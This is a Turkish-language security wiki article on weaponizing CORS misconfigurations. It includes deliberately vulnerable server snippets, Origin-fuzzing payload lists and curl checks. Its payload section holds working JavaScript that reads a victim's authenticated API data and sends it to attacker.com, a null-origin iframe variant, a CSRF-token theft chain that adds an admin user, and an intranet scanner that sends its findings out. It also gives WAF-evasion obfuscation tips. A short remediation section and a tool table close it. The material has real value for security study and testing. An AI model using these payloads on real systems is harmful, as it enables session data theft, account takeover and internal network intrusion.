CORS Misconfigurations
> Yazar: Emre Ermenek
Cross-Origin Resource Sharing (CORS) miskonfigürasyonları, modern web mimarilerinde (Mikroservisler, API Gateway'ler, Serverless yapılar) veri sızıntısı (Data Exfiltration), oturum ele geçirme (Session Hijacking) ve iç ağa sızma (Internal Network Pivoting) operasyonlarında Red Team uzmanları için en stratejik vektörlerden biridir. Single Page Application (SPA) ve API-First yaklaşımlarının standartlaşmasıyla birlikte CORS, istemci (Client) ve sunucu (Server) arasındaki güven ilişkisini tanımlayan ana mekanizma haline gelmiştir. Bu doküman, Same-Origin Policy (SOP) kısıtlamalarını aşarak, zafiyetli CORS politikalarını silahlandırmak (weaponization) üzerine tasarlanmış ileri düzey bir metodoloji sunar.
How It Works (Teknik Analiz)
CORS, özünde bir güvenlik önlemi değil, tarayıcı (Browser) tabanlı katı bir güvenlik önlemi olan Same-Origin Policy'nin (SOP - RFC 6454) kontrollü bir şekilde esnetilmesidir. SOP, DOM (Document Object Model) içerisindeki JavaScript motorlarının (V8, SpiderMonkey) farklı bir kökten (Origin: Scheme + Host + Port) gelen verilere erişimini engeller. CORS mekanizması (Fetch Standard), bu erişim engelini HTTP yanıt başlıkları (Response Headers) aracılığıyla kaldırır.
Düşük seviyede CORS, tarayıcının ağ yığını (Network Stack) ve DOM render motoru arasında çalışır. XMLHttpRequest veya Fetch API ile bir çapraz kök (cross-origin) isteği yapıldığında, tarayıcı TCP/TLS oturumunu kurar, HTTP isteğini gönderir ve sunucudan yanıtı alır. Kritik nokta şudur: Yanıt tarayıcıya ulaşır, tarayıcının belleğine (RAM) yüklenir, ancak tarayıcının güvenlik katmanı (Security Sandbox) Access-Control-Allow-Origin (ACAO) ve Access-Control-Allow-Credentials (ACAC) başlıklarını doğrulayana kadar bu verinin DOM Tree'ye yansımasına veya JavaScript Execution Context'ine iletilmesine izin vermez. Eğer sunucu Origin başlığını doğrulamadan, doğrudan gelen girdiyi ACAO başlığına yansıtıyorsa (Reflection) ve ACAC değerini true olarak ayarlıyorsa, saldırgan kurbanın tarayıcı oturumu bağlamında (Session Cookies, JWT, NTLM/Kerberos biletleri) hedef API'den veri okuyabilir.
Vulnerable Code Patterns
Geliştiriciler genellikle alt alan adlarını (subdomains) veya iş ortaklarını dinamik olarak desteklemek için Origin başlığını güvensiz bir şekilde yansıtırlar.
// Zafiyetli PHP Örneği: Origin Reflection without Validation
$origin = $_SERVER['HTTP_ORIGIN'];
// KÖK NEDEN: Gelen Origin değeri hiçbir Regex veya Whitelist kontrolüne
// tabi tutulmadan doğrudan Response Header'a yazılıyor.
header("Access-Control-Allow-Origin: " . $origin);
header("Access-Control-Allow-Credentials: true");
header("Content-Type: application/json");
echo json_encode(["api_key" => "sk_live_12345...", "user" => "admin"]);
// Zafiyetli Node.js / Express.js Örneği: Kusurlu Regex
const express = require('express');
const app = express();
app.use((req, res, next) => {
const origin = req.headers.origin;
// KÖK NEDEN: Regex içindeki nokta (.) kaçış karakteriyle (\.) belirtilmemiş.
// Beklenen: example.com, İzin verilen: example.com, evil-example.com, exXmple.com
if(origin && origin.match(/api.example.com$/)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
// Zafiyetli Java Spring Boot Örneği: Tehlikeli Anotasyon Kullanımı
// KÖK NEDEN: AllowCredentials true iken, originPattern ile her şeye izin verilmesi.
@CrossOrigin(originPatterns = "*", allowCredentials = "true")
@GetMapping("/api/v1/sensitive-data")
public ResponseEntity<Data> getSensitiveData() {
return ResponseEntity.ok(userService.getCurrentUserData());
}
Detection & Enumeration (Keşif ve Analiz)
CORS miskonfigürasyonlarını tespit etmek, API uç noktalarının (Endpoints) fuzzer araçları ile manipüle edilmesine dayanır. Amaç, sunucunun dinamik olarak ACAO başlığı üretip üretmediğini, null origin kabul edip etmediğini ve kimlik doğrulama başlıklarına izin verip vermediğini (ACAC) anlamaktır.
- Origin Header Fuzzing: Her HTTP isteğine (GET, POST, PUT, DELETE, OPTIONS) çeşitli kök manipülasyonları eklenerek sunucunun tepkisi (HTTP Response Headers) izlenir.
- Preflight (OPTIONS) Analizi: API uç noktalarına
OPTIONSHTTP metodu gönderilerekAccess-Control-Allow-MethodsveAccess-Control-Allow-Headerskısıtlamaları tespit edilir.
Keşif Payload Listesi:
Origin: https://attacker.com
Origin: https://[target].attacker.com
Origin: https://attacker.com.[target]
Origin: https://[target]attacker.com
Origin: null
Origin: http://[target] (HTTPS yerine HTTP denemesi)
Origin: null.attacker.com
cURL ile Hızlı Manuel Doğrulama:
# Temel Origin Yansıması Kontrolü
curl -s -i -X GET https://api.target.com/user/profile \
-H "Origin: https://evil.com" \
-H "Cookie: sessionid=kurban_session_token" | grep -i "Access-Control"
# OPTIONS (Preflight) İstek Simülasyonu
curl -s -i -X OPTIONS https://api.target.com/v1/data \
-H "Origin: null" \
-H "Access-Control-Request-Method: GET" \
-H "Access-Control-Request-Headers: X-Custom-Header"
Attack Vectors & Exploitation (İstismar Vektörleri)
Arbitrary Origin Reflection
Sistemin gelen Origin başlığını hiçbir kontrol mekanizmasına tabi tutmadan, dinamik olarak Access-Control-Allow-Origin başlığına yansıtması durumudur. İstismar edilebilmesi için Access-Control-Allow-Credentials: true başlığının da dönmesi zorunludur. Aksi takdirde tarayıcı hedef siteye kimlik bilgilerini (Cookie) göndermeyecektir.
Null Origin Trust
RFC şartnamelerine göre yerel dosyalar (file:///), yönlendirmeler (redirects) veya sandbox özniteliği taşıyan iframe etiketleri Origin değerini null olarak gönderir. Geliştiriciler genellikle lokal test ortamlarını desteklemek için null origin'i beyaz listeye alırlar. Saldırgan, kendi zararlı sitesinde bir sandboxed iframe oluşturarak Origin: null başlığına sahip istekler tetikleyebilir.
Regex Bypass and Origin Expansion
Beyaz liste (Whitelist) kontrollerinin kusurlu Regular Expression (Düzenli İfade) kurallarıyla yapılması sonucu ortaya çıkar.
- Dot Omission (
.): Regex içinde\.yerine.kullanıldığında,^api.target.com$ifadesiapidtarget.comsitesine de izin verir. - Prefix/Suffix Injection: Sadece alan adının başlangıcını veya sonunu kontrol eden (
startsWith,endsWith) sistemlerde:- Hedef:
target.com - Suffix Bypass:
target.com.attacker.net - Prefix Bypass:
attackertarget.com
- Hedef:
XSS on Trusted Origin to CORS Pivot
Eğer hedef uygulamanın CORS politikası sadece spesifik ve güvenli alt alan adlarını (örn: https://dev.target.com) beyaz listede tutuyor ve regex atlatılamıyorsa, saldırgan rotasını değiştirir. Güvenilen alt alan adında (dev.target.com) bir Cross-Site Scripting (XSS) zafiyeti bulunur. XSS üzerinden çalıştırılan JavaScript, halihazırda CORS politikasında "güvenilir" olarak tanımlandığı için, ana API'den (api.target.com) kısıtlamasız veri çekebilir.
Breaking TLS (Insecure Protocol Trust)
Kusursuz yapılandırılmış bir HTTPS uygulamasının CORS politikasında aynı etki alanının düz HTTP versiyonuna izin verilmesidir (örn: http://target.com). Saldırgan, kurbanla aynı ağdaysa (Man-in-the-Middle) veya ARP Spoofing yapabiliyorsa, kurbanın HTTP trafiğini yakalar, HTTP sitesinin içeriğini değiştirerek içine zararlı bir XHR/Fetch isteği gömer. Tarayıcı isteği HTTP üzerinden (ancak güvenilen bir origin olarak) yapacağı için HTTPS API'den veriler HTTP ortamına çekilmiş olur.
Internal Network Pivoting (Wildcard without Credentials)
Sunucu Access-Control-Allow-Origin: * döndürüyor ve kimlik doğrulama gerektirmiyorsa (örn: Access-Control-Allow-Credentials: false), dış dünya (İnternet) için bu büyük bir risk teşkil etmez. Ancak bu sunucu özel bir IP bloğunda (örn: 10.x.x.x, 192.168.x.x) barınan bir Intranet paneli veya geliştirici metrik sunucusuyorsa, saldırgan kurbanın tarayıcısını bir SSRF (Server-Side Request Forgery) ve Proxy aracı gibi kullanarak iç ağdaki sunucunun verilerini dışarı aktarabilir.
Payloads & Advanced Commands
Bu bölümde, saldırgan altyapısında barındırılacak ve kurban tarafından tetiklendiğinde hedef sistemdeki veriyi ele geçirecek gelişmiş JavaScript payload'ları bulunmaktadır.
Advanced XHR Exfiltration Payload
Klasik ve tüm tarayıcılarda desteklenen, veriyi Base64 ile encode ederek saldırganın sunucusuna sızdıran payload.
<script>
var req = new XMLHttpRequest();
req.onreadystatechange = function() {
if (req.readyState === 4 && req.status === 200) {
var data = btoa(req.responseText); // WAF veya özel karakter sorunlarını aşmak için Base64 encoding
var exfiltrate = new XMLHttpRequest();
// Veriyi saldırganın dinleyici sunucusuna yolla
exfiltrate.open("GET", "https://attacker.com/log?leak=" + data, true);
exfiltrate.send();
}
};
req.open("GET", "https://api.target.com/v1/sensitive-data", true);
req.withCredentials = true; // Kurbanın Cookie/Oturum bilgilerini ekle
req.send();
</script>
Modern Fetch API Based Payload
Promise tabanlı yapısıyla daha temiz, Callback Hell sorununu çözen modern CORS istismar kodu.
<script>
fetch('https://api.target.com/v1/user/profile', {
method: 'GET',
credentials: 'include', // ACAC Bypass için kritik parametre
headers: {
'Accept': 'application/json'
}
})
.then(response => response.json())
.then(data => {
let stolenData = encodeURIComponent(JSON.stringify(data));
fetch(`https://attacker.com/loot?data=${stolenData}`, {mode: 'no-cors'});
})
.catch(error => console.error('Error:', error));
</script>
Null Origin Sandbox Iframe Payload
Hedef uygulamanın Origin: null başlığına güvenmesi durumunda, sandbox niteliği taşıyan bir iframe içinde tetiklenen payload. Tarayıcı, bu bağlamda otomatik olarak Origin değerini "null" yapar.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
var req = new XMLHttpRequest();
req.onload = function() {
var exfilData = encodeURIComponent(this.responseText);
location.href = 'https://attacker.com/steal?data=' + exfilData;
};
req.open('GET', 'https://api.target.com/billing-info', true);
req.withCredentials = true;
req.send();
</script>">
</iframe>
Advanced CSRF Weaponization Payload via CORS
Eğer hedefte CORS varsa ve POST/PUT metodları kullanılarak durum değiştiren (State-Changing) işlemler yapılıyorsa (örn: E-posta değiştirme, şifre sıfırlama, yetki verme), CORS zafiyeti doğrudan CSRF (Cross-Site Request Forgery) korumalarını ezip geçmek için kullanılabilir. Anti-CSRF token'lar önce okunur, sonra POST isteğiyle geri gönderilir.
<script>
// Aşama 1: CSRF Token'i okumak için GET isteği
fetch('https://api.target.com/settings', {credentials: 'include'})
.then(res => res.text())
.then(body => {
// Body içinden Regex ile CSRF token'ı parse et (Örn: <input name="csrf" value="...">)
let tokenMatch = body.match(/name="csrf_token" value="(.*?)"/);
if (tokenMatch && tokenMatch[1]) {
let csrfToken = tokenMatch[1];
// Aşama 2: Token'ı kullanarak yetki yükseltme (Privilege Escalation) isteği gönder
fetch('https://api.target.com/admin/add_user', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-CSRF-Token': csrfToken
},
body: 'role=admin&email=attacker@evil.com'
});
}
});
</script>
Internal Network Scanning & Enumeration via CORS
Intranet sistemler (Router arayüzleri, Jenkins, Jira vb.) genellikle zayıf CORS politikalarına sahiptir. Kurban internette gezinirken, tarayıcısı arkada iç ağı tarar.
<script>
const subnet = "192.168.1.";
for(let i=1; i<255; i++) {
let targetIP = subnet + i;
fetch(`http://${targetIP}:8080/api/sysinfo`, { mode: 'cors' })
.then(res => res.text())
.then(data => {
// Canlı iç network sunucusu bulundu, veriyi dışarı sızdır
fetch('https://attacker.com/internal_recon?ip=' + targetIP + '&data=' + btoa(data), {mode: 'no-cors'});
})
.catch(err => { /* Timeout, IP geçersiz */ });
}
</script>
Bypass & Obfuscation (Atlatma Teknikleri)
WAF/IPS veya kusurlu geliştirici filtrelerini aşmak için CORS payload'ları çeşitli şekillerde manipüle edilebilir.
- Punycode / IDN Homographs: Geliştirici
.target.comuzantısını kontrol ediyorsa ve regex hatalıysa, Latin alfabesine benzeyen ancak farklı Unicode bloklarında yer alan harfler kullanılabilir veya alan adı Punycode'a dönüştürülebilir (xn--...). - Dangling Slant / Trailing Character Bypass: Hedef origin kontrolü yaparken sonuna bitiş veya başlangıç karakteri koymadıysa (
$veya^), tarayıcının ve sunucunun URL'i parse etme farklılıklarından (Parsing Inconsistencies) yararlanılabilir:https://target.com.attacker.comhttps://attacker.com%2Etarget.com(URL Encoding)https://attacker.com%00.target.com(Null Byte Injection - Özellikle arka planı C/C++ tabanlı çalışan filtreleri atlatmak için)
- Dynamic Payload Generation: WAF'lar statik
XMLHttpRequestveyafetchzincirlerini statik analizle engelliyorsa, JavaScript AST'yi (Abstract Syntax Tree) karmaşıklaştıran Obfuscator araçları kullanılmalı veya payload DOM içinde dinamik olarak üretilmelidir:let x = window['\x58\x4d\x4c\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74']; // XMLHttpRequest bypass let req = new x();
Remediation & Prevention (Önleme ve Savunma)
Savunma mimarisi (Blue Team & AppSec) CORS zafiyetlerini kalıcı olarak kapatmak için "Defense in Depth" prensibini uygulamalıdır.
- Strict Whitelisting (Sıkı Beyaz Liste): Dinamik
Originyansımasından tamamen kaçınılmalıdır. İzin verilen kökler sunucu tarafında bir statik dizi (Array) veya Hash Map içerisinde tam string eşleşmesi (Exact Match) ile kontrol edilmelidir. Regex kullanmaktan kaçınılmalı, zorunluysa mutlak sınırlandırıcılar (^ve$) ve doğru kaçış dizileri (\.) KESİNLİKLE kullanılmalıdır. - Avoid Null Trust:
Access-Control-Allow-Origin: nullbaşlığı ASLA dönülmemelidir. Geliştirme (Dev) ortamları ile üretim (Prod) ortamlarının CORS yapılandırmaları tamamen izole edilmelidir. - Authentication Constraints: Her ne kadar CORS güvenilir olarak ayarlanmış olsa da, sunucu her isteğin geçerli bir Authentication token'a sahip olup olmadığını kontrol etmeli (API Gateway seviyesinde Token Inspection) ve CORS politikası tek güvenlik bariyeri olarak bırakılmamalıdır (Zero Trust Architecture).
- Network Segregation: İç ağ sistemlerinde,
*joker (wildcard) karakteri kullanılmamalıdır. Intranet uygulamaları internet tabanlı (Public) tarayıcılardan gelen CORS isteklerine kapalı olmalıdır (Private Network Access spesifikasyonları kullanılmalı). - Vary Header: CORS yapılandırması dinamik olarak değişiyorsa, HTTP yanıtına
Vary: Originbaşlığı eklenmelidir. Bu, önbellekleme sunucularının (CDN/Proxy) yanlış origin'e ait CORS başlıklarını başka kullanıcılara hizmet etmesini (Cache Poisoning) engeller.
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| Corsy | Kapsamlı CORS miskonfigürasyon tarayıcısı ve Fuzzer | python3 corsy.py -u https://api.target.com/v1 |
| CORScanner | Hızlı, eşzamanlı (concurrent) CORS zafiyet keşif aracı | python corscanner.py -i urls.txt -t 100 |
| Ffuf | Origin başlıklarını Fuzz'lamak ve regex bypass testleri yapmak için | ffuf -w origins.txt -u https://api.target.com/ -H "Origin: FUZZ" -c |
| Burp Suite (CORS extension) | Pasif trafik analizi ve anlık manipülasyon ile ACAO keşfi | Trafik dinlenirken BApp Store'dan CORS Analyzer aktif edilir. |
| PostMessage Builder | Karmaşık XSS to CORS pivot ve DOM XSS exploit zincirleri oluşturma | Araç içi web arayüzünden konfigürasyon yapılır |
Yazar: Emre Ermenek · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv